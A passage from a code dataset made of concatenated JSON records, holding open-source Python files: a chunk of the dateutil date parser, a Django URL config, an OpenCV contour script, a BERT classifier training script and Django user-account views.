exceeds the largest valid C integer on\n your system.\n \"\"\"\n\n default_specified = default is not None\n\n if not default_specified:\n default = datetime.datetime.now().replace(hour=0, minute=0,\n second=0, microsecond=0)\n\n if kwargs.get('fuzzy_with_tokens', False):\n res, skipped_tokens = self._parse(timestr, **kwargs)\n else:\n res = self._parse(timestr, **kwargs)\n\n if res is None:\n raise ValueError(\"Unknown string format\")\n\n repl = {}\n for attr in [\"year\", \"month\", \"day\", \"hour\",\n \"minute\", \"second\", \"microsecond\"]:\n value = getattr(res, attr)\n if value is not None:\n repl[attr] = value\n\n ret = default.replace(**repl)\n\n if res.weekday is not None and not res.day:\n ret = ret+relativedelta.relativedelta(weekday=res.weekday)\n\n if not ignoretz:\n if (isinstance(tzinfos, collections.Callable) or\n tzinfos and res.tzname in tzinfos):\n\n if isinstance(tzinfos, collections.Callable):\n tzdata = tzinfos(res.tzname, res.tzoffset)\n else:\n tzdata = tzinfos.get(res.tzname)\n\n if isinstance(tzdata, datetime.tzinfo):\n tzinfo = tzdata\n elif isinstance(tzdata, text_type):\n tzinfo = tz.tzstr(tzdata)\n elif isinstance(tzdata, integer_types):\n tzinfo = tz.tzoffset(res.tzname, tzdata)\n else:\n raise ValueError(\"Offset must be tzinfo subclass, \"\n \"tz string, or int offset.\")\n ret = ret.replace(tzinfo=tzinfo)\n elif res.tzname and res.tzname in time.tzname:\n ret = ret.replace(tzinfo=tz.tzlocal())\n elif res.tzoffset == 0:\n ret = ret.replace(tzinfo=tz.tzutc())\n elif res.tzoffset:\n ret = ret.replace(tzinfo=tz.tzoffset(res.tzname, res.tzoffset))\n\n if kwargs.get('fuzzy_with_tokens', False):\n return ret, skipped_tokens\n else:\n return ret\n\n class _result(_resultbase):\n __slots__ = [\"year\", \"month\", \"day\", \"weekday\",\n \"hour\", \"minute\", \"second\", \"microsecond\",\n \"tzname\", \"tzoffset\", \"ampm\"]\n\n def _parse(self, timestr, dayfirst=None, yearfirst=None, fuzzy=False,\n fuzzy_with_tokens=False):\n \"\"\"\n Private method which performs the heavy lifting of parsing, called from\n `parse()`, which passes on its `kwargs` to this function.\n\n :param timestr:\n The string to parse.\n\n :param dayfirst:\n Whether to interpret the first value in an ambiguous 3-integer date\n (e.g. 01/05/09) as the day (`True`) or month (`False`). If\n `yearfirst` is set to `True`, this distinguishes between YDM and\n YMD. If set to `None`, this value is retrieved from the current\n `parserinfo` object (which itself defaults to `False`).\n\n :param yearfirst:\n Whether to interpret the first value in an ambiguous 3-integer date\n (e.g. 01/05/09) as the year. If `True`, the first number is taken to\n be the year, otherwise the last number is taken to be the year. If\n this is set to `None`, the value is retrieved from the current\n `parserinfo` object (which itself defaults to `False`).\n\n :param fuzzy:\n Whether to allow fuzzy parsing, allowing for string like \"Today is\n January 1, 2047 at 8:21:00AM\".\n\n :param fuzzy_with_tokens:\n If `True`, `fuzzy` is automatically set to True, and the parser will\n return a tuple where the first element is the parsed\n `datetime.datetime` datetimestamp and the second element is a tuple\n containing the portions of the string which were ignored, e.g.\n \"Today is January 1, 2047 at 8:21:00AM\" should return\n `(datetime.datetime(2011, 1, 1, 8, 21), (u'Today is ', u' ', u'at '))`\n \"\"\"\n if fuzzy_with_tokens:\n fuzzy = True\n\n info = self.info\n\n if dayfirst is None:\n dayfirst = info.dayfirst\n\n if yearfirst is None:\n yearfirst = info.yearfirst\n\n res = self._result()\n l = _timelex.split(timestr) # Splits the timestr into tokens\n\n # keep up with the last token skipped so we can recombine\n # consecutively skipped tokens (-2 for when i begins at 0).\n last_skipped_token_i = -2\n skipped_tokens = list()\n\n try:\n # year/month/day list\n ymd = []\n\n # Index of the month string in ymd\n mstridx = -1\n\n len_l = len(l)\n i = 0\n while i < len_l:\n\n # Check if it's a number\n try:\n value_repr = l[i]\n value = float(value_repr)\n except ValueError:\n value = None\n\n if value is not None:\n # Token is a number\n len_li = len(l[i])\n i += 1\n\n if (len(ymd) == 3 and len_li in (2, 4)\n and res.hour is None and (i >= len_l or (l[i] != ':' and\n info.hms(l[i]) is None))):\n # 19990101T23[59]\n s = l[i-1]\n res.hour = int(s[:2])\n\n if len_li == 4:\n res.minute = int(s[2:])\n\n elif len_li == 6 or (len_li > 6 and l[i-1].find('.') == 6):\n # YYMMDD or HHMMSS[.ss]\n s = l[i-1]\n\n if not ymd and l[i-1].find('.') == -1:\n ymd.append(info.convertyear(int(s[:2])))\n ymd.append(int(s[2:4]))\n ymd.append(int(s[4:]))\n else:\n # 19990101T235959[.59]\n res.hour = int(s[:2])\n res.minute = int(s[2:4])\n res.second, res.microsecond = _parsems(s[4:])\n\n elif len_li == 8:\n # YYYYMMDD\n s = l[i-1]\n ymd.append(int(s[:4]))\n ymd.append(int(s[4:6]))\n ymd.append(int(s[6:]))\n\n elif len_li in (12, 14):\n # YYYYMMDDhhmm[ss]\n s = l[i-1]\n ymd.append(int(s[:4]))\n ymd.append(int(s[4:6]))\n ymd.append(int(s[6:8]))\n res.hour = int(s[8:10])\n res.minute = int(s[10:12])\n\n if len_li == 14:\n res.second = int(s[12:])\n\n elif ((i < len_l and info.hms(l[i]) is not None) or\n (i+1 < len_l and l[i] == ' ' and\n info.hms(l[i+1]) is not None)):\n\n # HH[ ]h or MM[ ]m or SS[.ss][ ]s\n if l[i] == ' ':\n i += 1\n\n idx = info.hms(l[i])\n\n while True:\n if idx == 0:\n res.hour = int(value)\n\n if value % 1:\n res.minute = int(60*(value % 1))\n\n elif idx == 1:\n res.minute = int(value)\n\n if value % 1:\n res.second = int(60*(value % 1))\n\n elif idx == 2:\n res.second, res.microsecond = \\\n _parsems(value_repr)\n\n i += 1\n\n if i >= len_l or idx == 2:\n break\n\n # 12h00\n try:\n value_repr = l[i]\n value = float(value_repr)\n except ValueError:\n break\n else:\n i += 1\n idx += 1\n\n if i < len_l:\n newidx = info.hms(l[i])\n\n if newidx is not None:\n idx = newidx\n\n elif (i == len_l and l[i-2] == ' ' and\n info.hms(l[i-3]) is not None):\n # X h MM or X m SS\n idx = info.hms(l[i-3]) + 1\n\n if idx == 1:\n res.minute = int(value)\n\n if value % 1:\n res.second = int(60*(value % 1))\n elif idx == 2:\n res.second, res.microsecond = \\\n _parsems(value_repr)\n i += 1\n\n elif i+1 < len_l and l[i] == ':':\n # HH:MM[:SS[.ss]]\n res.hour = int(value)\n i += 1\n value = float(l[i])\n res.minute = int(value)\n\n if value % 1:\n res.second = int(60*(value % 1))\n\n i += 1\n\n if i < len_l and l[i] == ':':\n res.second, res.microsecond = _parsems(l[i+1])\n i += 2\n\n elif i < len_l and l[i] in ('-', '/', '.'):\n sep = l[i]\n ymd.append(int(value))\n i += 1\n\n if i < len_l and not info.jump(l[i]):\n try:\n # 01-01[-01]\n ymd.append(int(l[i]))\n except ValueError:\n # 01-Jan[-01]\n value = info.month(l[i])\n\n if value is not None:\n ymd.append(value)\n assert mstridx == -1\n mstridx = len(ymd)-1\n else:\n return None\n\n i += 1\n\n if i < len_l and l[i] == sep:\n # We have three members\n i += 1\n value = info.month(l[i])\n\n if value is not None:\n ymd.append(value)\n mstridx = len(ymd)-1\n assert mstridx == -1\n else:\n ymd.append(int(l[i]))\n\n i += 1\n elif i >= len_l or info.jump(l[i]):\n if i+1 < len_l and info.ampm(l[i+1]) is not None:\n # 12 am\n res.hour = int(value)\n\n if res.hour < 12 and info.ampm(l[i+1]) == 1:\n res.hour += 12\n elif res.hour == 12 and info.ampm(l[i+1]) == 0:\n res.hour = 0\n\n i += 1\n else:\n # Year, month or day\n ymd.append(int(value))\n i += 1\n elif info.ampm(l[i]) is not None:\n\n # 12am\n res.hour = int(value)\n\n if res.hour < 12 and info.ampm(l[i]) == 1:\n res.hour += 12\n elif res.hour == 12 and info.ampm(l[i]) == 0:\n res.hour = 0\n i += 1\n\n elif not fuzzy:\n return None\n else:\n i += 1\n continue\n\n # Check weekday\n value = info.weekday(l[i])\n if value is not None:\n res.weekday = value\n i += 1\n continue\n\n # Check month name\n value = info.month(l[i])\n if value is not None:\n ymd.append(value)\n assert mstridx == -1\n mstridx = len(ymd)-1\n\n i += 1\n if i < len_l:\n if l[i] in ('-', '/'):\n # Jan-01[-99]\n sep = l[i]\n i += 1\n ymd.append(int(l[i]))\n i += 1\n\n if i < len_l and l[i] == sep:\n # Jan-01-99\n i += 1\n ymd.append(int(l[i]))\n i += 1\n\n elif (i+3 < len_l and l[i] == l[i+2] == ' '\n and info.pertain(l[i+1])):\n # Jan of 01\n # In this case, 01 is clearly year\n try:\n value = int(l[i+3])\n except ValueError:\n # Wrong guess\n pass\n else:\n # Convert it here to become unambiguous\n ymd.append(info.convertyear(value))\n i += 4\n continue\n\n # Check am/pm\n value = info.ampm(l[i])\n if value is not None:\n # For fuzzy parsing, 'a' or 'am' (both valid English words)\n # may erroneously trigger the AM/PM flag. Deal with that\n # here.\n val_is_ampm = True\n\n # If there's already an AM/PM flag, this one isn't one.\n if fuzzy and res.ampm is not None:\n val_is_ampm = False\n\n # If AM/PM is found and hour is not, raise a ValueError\n if res.hour is None:\n if fuzzy:\n val_is_ampm = False\n else:\n raise ValueError('No hour specified with ' +\n 'AM or PM flag.')\n elif not 0 <= res.hour <= 12:\n # If AM/PM is found, it's a 12 hour clock, so raise \n # an error for invalid range\n if fuzzy:\n val_is_ampm = False\n else:\n raise ValueError('Invalid hour specified for ' +\n '12-hour clock.')\n\n if val_is_ampm:\n if value == 1 and res.hour < 12:\n res.hour += 12\n elif value == 0 and res.hour == 12:\n res.hour = 0\n\n res.ampm = value\n\n i += 1\n continue\n\n # Check for a timezone name\n if (res.hour is not None and len(l[i]) <= 5 and\n res.tzname is None and res.tzoffset is None and\n not [x for x in l[i] if x not in\n string.ascii_uppercase]):\n res.tzname = l[i]\n res.tzoffset = info.tzoffset(res.tzname)\n i += 1\n\n # Check for something like GMT+3, or BRST+3. Notice\n # that it doesn't mean \"I am 3 hours after GMT\", but\n # \"my time +3 is GMT\". If found, we reverse the\n # logic so that timezone parsing code will get it\n # right.\n if i < len_l and l[i] in ('+', '-'):\n l[i] = ('+', '-')[l[i] == '+']\n res.tzoffset = None\n if info.utczone(res.tzname):\n # With something like GMT+3, the timezone\n # is *not* GMT.\n res.tzname = None\n\n continue\n\n # Check for a numbered timezone\n if res.hour is not None and l[i] in ('+', '-'):\n signal = (-1, 1)[l[i] == '+']\n i += 1\n len_li = len(l[i])\n\n if len_li == 4:\n # -0300\n res.tzoffset = int(l[i][:2])*3600+int(l[i][2:])*60\n elif i+1 < len_l and l[i+1] == ':':\n # -03:00\n res.tzoffset = int(l[i])*3600+int(l[i+2])*60\n i += 2\n elif len_li <= 2:\n # -[0]3\n res.tzoffset = int(l[i][:2])*3600\n else:\n return None\n i += 1\n\n res.tzoffset *= signal\n\n # Look for a timezone name between parenthesis\n if (i+3 < len_l and\n info.jump(l[i]) and l[i+1] == '(' and l[i+3] == ')' and\n 3 <= len(l[i+2]) <= 5 and\n not [x for x in l[i+2]\n if x not in string.ascii_uppercase]):\n # -0300 (BRST)\n res.tzname = l[i+2]\n i += 4\n continue\n\n # Check jumps\n if not (info.jump(l[i]) or fuzzy):\n return None\n\n if last_skipped_token_i == i - 1:\n # recombine the tokens\n skipped_tokens[-1] += l[i]\n else:\n # just append\n skipped_tokens.append(l[i])\n last_skipped_token_i = i\n i += 1\n\n # Process year/month/day\n len_ymd = len(ymd)\n if len_ymd > 3:\n # More than three members!?\n return None\n elif len_ymd == 1 or (mstridx != -1 and len_ymd == 2):\n # One member, or two members with a month string\n if mstridx != -1:\n res.month = ymd[mstridx]\n del ymd[mstridx]\n\n if len_ymd > 1 or mstridx == -1:\n if ymd[0] > 31:\n res.year = ymd[0]\n else:\n res.day = ymd[0]\n\n elif len_ymd == 2:\n # Two members with numbers\n if ymd[0] > 31:\n # 99-01\n res.year, res.month = ymd\n elif ymd[1] > 31:\n # 01-99\n res.month, res.year = ymd\n elif dayfirst and ymd[1] <= 12:\n # 13-01\n res.day, res.month = ymd\n else:\n # 01-13\n res.month, res.day = ymd\n\n elif len_ymd == 3:\n # Three members\n if mstridx == 0:\n res.month, res.day, res.year = ymd\n elif mstridx == 1:\n if ymd[0] > 31 or (yearfirst and ymd[2] <= 31):\n # 99-Jan-01\n res.year, res.month, res.day = ymd\n else:\n # 01-Jan-01\n # Give precendence to day-first, since\n # two-digit years is usually hand-written.\n res.day, res.month, res.year = ymd\n\n elif mstridx == 2:\n # WTF!?\n if ymd[1] > 31:\n # 01-99-Jan\n res.day, res.year, res.month = ymd\n else:\n # 99-01-Jan\n res.year, res.day, res.month = ymd\n\n else:\n if ymd[0] > 31 or \\\n (yearfirst and ymd[1] <= 12 and ymd[2] <= 31):\n # 99-01-01\n res.year, res.month, res.day = ymd\n elif ymd[0] > 12 or (dayfirst and ymd[1] <= 12):\n # 13-01-01\n res.day, res.month, res.year = ymd\n else:\n # 01-13-01\n res.month, res.day, res.year = ymd\n\n except (IndexError, ValueError, AssertionError):\n return None\n\n if not info.validate(res):\n return None\n\n if fuzzy_with_tokens:\n return res, tuple(skipped_tokens)\n else:\n return res\n\nDEFAULTPARSER = parser()\n\n\ndef parse(timestr, parserinfo=None, **kwargs):\n \"\"\"\n Parse a string in one of the supported formats, using the `parserinfo`\n parameters.\n\n :param timestr:\n A string containing a date/time stamp.\n\n :param parserinfo:\n A :class:`parserinfo` object containing parameters for the parser.\n If `None`, the default arguments to the `parserinfo` constructor are\n used.\n\n The `**kwargs` parameter takes the following keyword arguments:\n\n :param default:\n The default datetime object, if this is a datetime object and not\n `None`, elements specified in `timestr` replace elements in the\n default object.\n\n :param ignoretz:\n Whether or not to ignore the time zone (boolean).\n\n :param tzinfos:\n A time zone, to be applied to the date, if `ignoretz` is `True`.\n This can be either a subclass of `tzinfo`, a time zone string or an\n integer offset.\n\n :param dayfirst:\n Whether to interpret the first value in an ambiguous 3-integer date\n (e.g. 01/05/09) as the day (`True`) or month (`False`). If\n `yearfirst` is set to `True`, this distinguishes between YDM and\n YMD. If set to `None`, this value is retrieved from the current\n :class:`parserinfo` object (which itself defaults to `False`).\n\n :param yearfirst:\n Whether to interpret the first value in an ambiguous 3-integer date\n (e.g. 01/05/09) as the year. If `True`, the first number is taken to\n be the year, otherwise the last number is taken to be the year. If\n this is set to `None`, the value is retrieved from the current\n :class:`parserinfo` object (which itself defaults to `False`).\n\n :param fuzzy:\n Whether to allow fuzzy parsing, allowing for string like \"Today is\n January 1, 2047 at 8:21:00AM\".\n\n :param fuzzy_with_tokens:\n If `True`, `fuzzy` is automatically set to True, and the parser will\n return a tuple where the first element is the parsed\n `datetime.datetime` datetimestamp and the second element is a tuple\n containing the portions of the string which were ignored, e.g.\n \"Today is January 1, 2047 at 8:21:00AM\" should return\n `(datetime.datetime(2011, 1, 1, 8, 21), (u'Today is ', u' ', u'at '))`\n \"\"\"\n # Python 2.x support: datetimes return their string presentation as\n # bytes in 2.x and unicode in 3.x, so it's reasonable to expect that\n # the parser will get both kinds. Internally we use unicode only.\n if isinstance(timestr, binary_type):\n timestr = timestr.decode()\n\n if parserinfo:\n return parser(parserinfo).parse(timestr, **kwargs)\n else:\n return DEFAULTPARSER.parse(timestr, **kwargs)\n\n\nclass _tzparser(object):\n\n class _result(_resultbase):\n\n __slots__ = [\"stdabbr\", \"stdoffset\", \"dstabbr\", \"dstoffset\",\n \"start\", \"end\"]\n\n class _attr(_resultbase):\n __slots__ = [\"month\", \"week\", \"weekday\",\n \"yday\", \"jyday\", \"day\", \"time\"]\n\n def __repr__(self):\n return self._repr(\"\")\n\n def __init__(self):\n _resultbase.__init__(self)\n self.start = self._attr()\n self.end = self._attr()\n\n def parse(self, tzstr):\n # Python 2.x compatibility: tzstr should be converted to unicode before\n # being passed to _timelex.\n if isinstance(tzstr, binary_type):\n tzstr = tzstr.decode()\n\n res = self._result()\n l = _timelex.split(tzstr)\n try:\n\n len_l = len(l)\n\n i = 0\n while i < len_l:\n # BRST+3[BRDT[+2]]\n j = i\n while j < len_l and not [x for x in l[j]\n if x in \"0123456789:,-+\"]:\n j += 1\n if j != i:\n if not res.stdabbr:\n offattr = \"stdoffset\"\n res.stdabbr = \"\".join(l[i:j])\n else:\n offattr = \"dstoffset\"\n res.dstabbr = \"\".join(l[i:j])\n i = j\n if (i < len_l and (l[i] in ('+', '-') or l[i][0] in\n \"0123456789\")):\n if l[i] in ('+', '-'):\n # Yes, that's right. See the TZ variable\n # documentation.\n signal = (1, -1)[l[i] == '+']\n i += 1\n else:\n signal = -1\n len_li = len(l[i])\n if len_li == 4:\n # -0300\n setattr(res, offattr, (int(l[i][:2])*3600 +\n int(l[i][2:])*60)*signal)\n elif i+1 < len_l and l[i+1] == ':':\n # -03:00\n setattr(res, offattr,\n (int(l[i])*3600+int(l[i+2])*60)*signal)\n i += 2\n elif len_li <= 2:\n # -[0]3\n setattr(res, offattr,\n int(l[i][:2])*3600*signal)\n else:\n return None\n i += 1\n if res.dstabbr:\n break\n else:\n break\n\n if i < len_l:\n for j in range(i, len_l):\n if l[j] == ';':\n l[j] = ','\n\n assert l[i] == ','\n\n i += 1\n\n if i >= len_l:\n pass\n elif (8 <= l.count(',') <= 9 and\n not [y for x in l[i:] if x != ','\n for y in x if y not in \"0123456789\"]):\n # GMT0BST,3,0,30,3600,10,0,26,7200[,3600]\n for x in (res.start, res.end):\n x.month = int(l[i])\n i += 2\n if l[i] == '-':\n value = int(l[i+1])*-1\n i += 1\n else:\n value = int(l[i])\n i += 2\n if value:\n x.week = value\n x.weekday = (int(l[i])-1) % 7\n else:\n x.day = int(l[i])\n i += 2\n x.time = int(l[i])\n i += 2\n if i < len_l:\n if l[i] in ('-', '+'):\n signal = (-1, 1)[l[i] == \"+\"]\n i += 1\n else:\n signal = 1\n res.dstoffset = (res.stdoffset+int(l[i]))*signal\n elif (l.count(',') == 2 and l[i:].count('/') <= 2 and\n not [y for x in l[i:] if x not in (',', '/', 'J', 'M',\n '.', '-', ':')\n for y in x if y not in \"0123456789\"]):\n for x in (res.start, res.end):\n if l[i] == 'J':\n # non-leap year day (1 based)\n i += 1\n x.jyday = int(l[i])\n elif l[i] == 'M':\n # month[-.]week[-.]weekday\n i += 1\n x.month = int(l[i])\n i += 1\n assert l[i] in ('-', '.')\n i += 1\n x.week = int(l[i])\n if x.week == 5:\n x.week = -1\n i += 1\n assert l[i] in ('-', '.')\n i += 1\n x.weekday = (int(l[i])-1) % 7\n else:\n # year day (zero based)\n x.yday = int(l[i])+1\n\n i += 1\n\n if i < len_l and l[i] == '/':\n i += 1\n # start time\n len_li = len(l[i])\n if len_li == 4:\n # -0300\n x.time = (int(l[i][:2])*3600+int(l[i][2:])*60)\n elif i+1 < len_l and l[i+1] == ':':\n # -03:00\n x.time = int(l[i])*3600+int(l[i+2])*60\n i += 2\n if i+1 < len_l and l[i+1] == ':':\n i += 2\n x.time += int(l[i])\n elif len_li <= 2:\n # -[0]3\n x.time = (int(l[i][:2])*3600)\n else:\n return None\n i += 1\n\n assert i == len_l or l[i] == ','\n\n i += 1\n\n assert i >= len_l\n\n except (IndexError, ValueError, AssertionError):\n return None\n\n return res\n\n\nDEFAULTTZPARSER = _tzparser()\n\n\ndef _parsetz(tzstr):\n return DEFAULTTZPARSER.parse(tzstr)\n\n\ndef _parsems(value):\n \"\"\"Parse a I[.F] seconds value into (seconds, microseconds).\"\"\"\n if \".\" not in value:\n return int(value), 0\n else:\n i, f = value.split(\".\")\n return int(i), int(f.ljust(6, \"0\")[:6])\n\n\n# vim:ts=4:sw=4:et\n","repo_name":"googlearchive/big-rig","sub_path":"app/src/thirdparty/dateutil/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":44085,"program_lang":"python","lang":"en","doc_type":"code","stars":857,"dataset":"github-code","pt":"61"} +{"seq_id":"9431259886","text":"from django.urls import path\n\nfrom .views import RateRequestListView, RecommendationCreateView, world_rates\n\napp_name = 'rates'\nurlpatterns = [\n path('', RateRequestListView.as_view(), name='nothingness'),\n path('world_rates/', world_rates, name='world_rates'),\n path('recommendation/', RecommendationCreateView.as_view(), name='index'),\n]","repo_name":"janton42/hl_main","sub_path":"rates/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13642344598","text":"import cv2\nimport numpy as np\nimport time\nimport os\nimport datetime\nimport array\n\n\ndef sizeFiltering(contours):\n\n y = 0\n x = 0\n w = 0\n h = 0\n\n filtredContours = []\n\n heightmax = 200\n widthmax = 200\n\n widthMin = 100\n heightMin = 100\n \n for cnt in contours:\n rect = cv2.minAreaRect(cnt) #I have used min Area rect for better result\n width = rect[1][0]\n height = rect[1][1]\n\n if (width < widthmax) and (height < heightmax) and (width > widthMin) and (height > heightMin):\n filtredContours.append(cnt)\n\n return filtredContours, [y,x,h,w]\n\n\n\nvidcap = cv2.VideoCapture(0) \n\nret,frame = vidcap.read() \n\nif ret:\n\n\n imgray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n ret, thresh = cv2.threshold(imgray, 110, 255, 0)\n contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n contours, rectCountour = sizeFiltering(contours)\n\n cv2.drawContours(frame, contours, -1, (0,255,0), 3)\n\n print(contours)\n\n\n cv2.imshow('image',frame)\n cv2.waitKey(0)\n\nvidcap.release()\n","repo_name":"selmandridi/BlackscreenDetector","sub_path":"findcountour.py","file_name":"findcountour.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73471463233","text":"import numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nimport random\nfrom datetime import date\nfrom transformers import BertForSequenceClassification, get_linear_schedule_with_warmup, AdamW\nfrom torch.utils.tensorboard import SummaryWriter\nimport sys\nsys.path.insert(0, '../utils')\nfrom bert_utils import returnBertDataLoader\nfrom train_utils import flat_accuracy, f_score, info\nimport torch\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--dataset', '-m', required=True, help=\"Which dataset to use, without .csv suffix\")\nparser.add_argument('--optimizer', '-opt', help=\"Which optimizer to use\", nargs='?', type=str, default=\"adam\")\nparser.add_argument('--lr', '-lr', help=\"Learning Rate\", nargs='?', type=int, default=2e-5)\nparser.add_argument('--wd', '-wd', help=\"Weight Decay\")\nparser.add_argument('--momentum', '-mo', help=\"Momentum\", nargs='?', type=int, default=9e-1)\nparser.add_argument('--step_size', '-step', help=\"Step size for Learning Rate decay\")\nparser.add_argument('--epochs', '-e', help=\"Number of Epochs\", nargs='?', type=int, default=5)\nparser.add_argument('--batch_size', '-bs', help=\"Batch Size\", nargs='?', type=int, default=16)\nargs = parser.parse_args()\n\ndef train(train_iter, valid_iter, model, device):\n # This training code is based on the `run_glue.py` script here:\n # https://github.com/huggingface/transformers/blob/5bfcd0485ece086ebcbed2d008813037968a9e58/examples/run_glue.py#L128\n \n train_size = len(train_iter)\n valid_size = len(valid_iter)\n train_num_examples = len(train_iter.dataset)\n valid_num_examples = len(valid_iter.dataset)\n \n #Set model to either cpu or gpu\n model.to(device)\n \n #Set optimizers\n if args.optimizer == \"adam\":\n optimizer = AdamW(model.parameters(), lr = args.lr)\n elif args.optimizer == \"sgd\":\n optimizer = torch.optim.SGD(model.parameters(), lr = args.lr, \n weight_decay = args.weight_decay, \n momentum = args.momentum) \n \n #Create linear lr scheduler\n scheduler = get_linear_schedule_with_warmup(optimizer,\n num_warmup_steps = 0, # Default value in run_glue.py\n num_training_steps = train_num_examples) \n \n #Create Tensorboard \n today = date.today()\n date_prefix = today.strftime(\"%m_%d\")\n log_dir_suffix = f\"{date_prefix}_BERT_{args.dataset}_lr_{args.lr}_epochs_{args.epochs}_batch_size_{args.batch_size}\"\n log_dir = \"../logs/BERT/\" + log_dir_suffix\n writer = SummaryWriter(log_dir=log_dir)\n \n best_loss = 1e9\n \n # Set the seed value all over the place to make this reproducible.\n seed_val = 42\n random.seed(seed_val)\n np.random.seed(seed_val)\n torch.manual_seed(seed_val)\n torch.cuda.manual_seed_all(seed_val)\n \n model.zero_grad()\n \n for epoch in range(args.epochs):\n ### TRAINING ###\n print(\"Beginning epoch \" + str(epoch))\n train_loss = []\n train_correct = 0\n \n model.train() #Set train mode\n \n for i, batch in enumerate(tqdm(train_iter)):\n input_ids = batch[0].to(device)\n input_mask = batch[1].to(device)\n labels = batch[2].to(device) \n\n #Forward pass \n outputs = model(input_ids, token_type_ids=None, attention_mask=input_mask,\n labels=labels) \n loss = outputs[0] \n train_loss.append(loss.item())\n logits = outputs[1]\n train_correct += torch.sum(torch.argmax(logits, 1) == labels).item()\n \n #Compute gradient and update params\n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0) #clip gradient\n optimizer.step()\n scheduler.step()\n model.zero_grad()\n \n #Add to tensorboard\n writer.add_scalar('Iteration Training Loss', loss.item(), \n epoch*train_size + i + 1)\n \n print(\"Training Loss: \" + str(np.mean(train_loss)) + \\\n \", Training Accuracy : \" + str(train_correct/train_num_examples))\n \n ### VALIDATION ### \n valid_loss = []\n valid_correct = 0\n\n conf_matrix = torch.zeros(2, 2)\n \n model.eval()\n for i, batch in enumerate(valid_iter):\n input_ids = batch[0].to(device)\n input_mask = batch[1].to(device)\n labels = batch[2].to(device) \n \n with torch.no_grad():\n outputs = model(input_ids, token_type_ids=None, \n attention_mask=input_mask, labels=labels)\n\n loss = outputs[0]\n valid_loss.append(loss.item())\n logits = outputs[1]\n predict = torch.argmax(logits, 1)\n valid_correct += torch.sum(predict == labels).item()\n\n #Add to tensorboard\n writer.add_scalar('Iteration Validation Loss', loss.item(), \n epoch*valid_size + i + 1)\n\n for t, p in zip(labels, predict):\n conf_matrix[t, p] += 1\n\n\n\n print(\"Validation Loss: \" + str(np.mean(valid_loss)) + \\\n \", Validation Accuracy : \" + str(valid_correct/valid_num_examples))\n\n J, sensitivity, specificity = info(conf_matrix)\n \n ### UPDATE TENSORBOARD ###\n print(epoch)\n writer.add_scalar('Epoch Training Loss', np.mean(train_loss), epoch)\n writer.add_scalar('Epoch Validation Loss', np.mean(valid_loss), epoch)\n writer.add_scalar('Epoch Training Accuracy', \n train_correct/train_num_examples, epoch)\n writer.add_scalar('Epoch Validation Accuracy', \n valid_correct/valid_num_examples, epoch)\n writer.add_scalar('F1 Score', f_score(conf_matrix)[0], epoch)\n writer.add_scalar('Youdens', J, epoch)\n writer.add_scalar('Sensitivity', sensitivity, epoch)\n writer.add_scalar('Specificity', specificity, epoch)\n\n ### Save if Model gets best loss ###\n \n if np.mean(valid_loss) < best_loss:\n best_loss = np.mean(valid_loss)\n torch.save(model.state_dict(), \"../../saved_models/\" + log_dir_suffix + \".pth\")\n \n\ndef main():\n print(args)\n #Load Data, probably add more here as we have more data augmentation data\n train_data = pd.read_csv('../data/' + args.dataset + \".csv\")\n valid_data = pd.read_csv('../data/valid.csv') \n \n trainLoader = returnBertDataLoader(train_data, args.batch_size)\n validLoader = returnBertDataLoader(valid_data, args.batch_size)\n \n #Declare model\n model = BertForSequenceClassification.from_pretrained(\n \"bert-base-cased\", # Use the 12-layer BERT model, with an uncased vocab.\n num_labels = 2, # The number of output labels--2 for binary classification.\n output_attentions = False, # Whether the model returns attentions weights.\n output_hidden_states = False, # Whether the model returns all hidden-states.\n )\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n print(device)\n \n train(trainLoader, validLoader, model, device)\n\n # calculate F score\n \nif __name__ == '__main__':\n main()\n \n \n","repo_name":"dkang9503/CS224N_WIN20","sub_path":"train/bert_train.py","file_name":"bert_train.py","file_ext":"py","file_size_in_byte":7471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9625577542","text":"from django.shortcuts import get_object_or_404\nfrom django.contrib.auth import get_user_model\nfrom django.core.paginator import Paginator\n\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom .serializers import UserSerializer, UserIdentifySerializer, ClubSerializer\nfrom .models import Club, ClubMember\n\n\n@api_view(['GET'])\n@permission_classes([IsAuthenticated])\ndef identify(request):\n serializer = UserIdentifySerializer(request.user)\n return Response({\"status\": \"OK\", \"data\": serializer.data})\n\n\n# Create your views here.\n@api_view(['GET', 'DELETE', 'PUT'])\ndef detail_or_delete_or_update(request, user_id):\n User = get_user_model()\n user = get_object_or_404(User, id=user_id)\n serializer = UserSerializer(user)\n\n # 조회\n if request.method == 'GET':\n return Response({\"status\": \"OK\", \"data\": serializer.data})\n\n # 삭제\n if request.user.is_authenticated:\n \n if request.method == 'DELETE':\n if request.user == user:\n request.user.delete()\n return Response({\"status\": \"OK\", **serializer.data})\n else:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"삭제 권한이 없습니다.\"}, status=status.HTTP_403_FORBIDDEN)\n\n # 수정\n else:\n if request.user == user:\n serializer = UserSerializer(user, data=request.data, partial=True)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response({\"status\": \"OK\", \"data\": serializer.data})\n else:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"수정 권한이 없습니다.\"}, status=status.HTTP_403_FORBIDDEN)\n else:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"로그인이 필요한 서비스 입니다.\"}, status=status.HTTP_401_UNAUTHORIZED)\n # @api_view(['POST'])\n # @permission_classes([IsAuthenticated])\n # def edit(request, user_id):\n # user = get_object_or_404(User, id=user_id)\n # if request.user == user:\n # serializer = UserSerializer(user, data=request.data)\n # if serializer.is_valid(raise_exception=True):\n # serializer.save()\n # 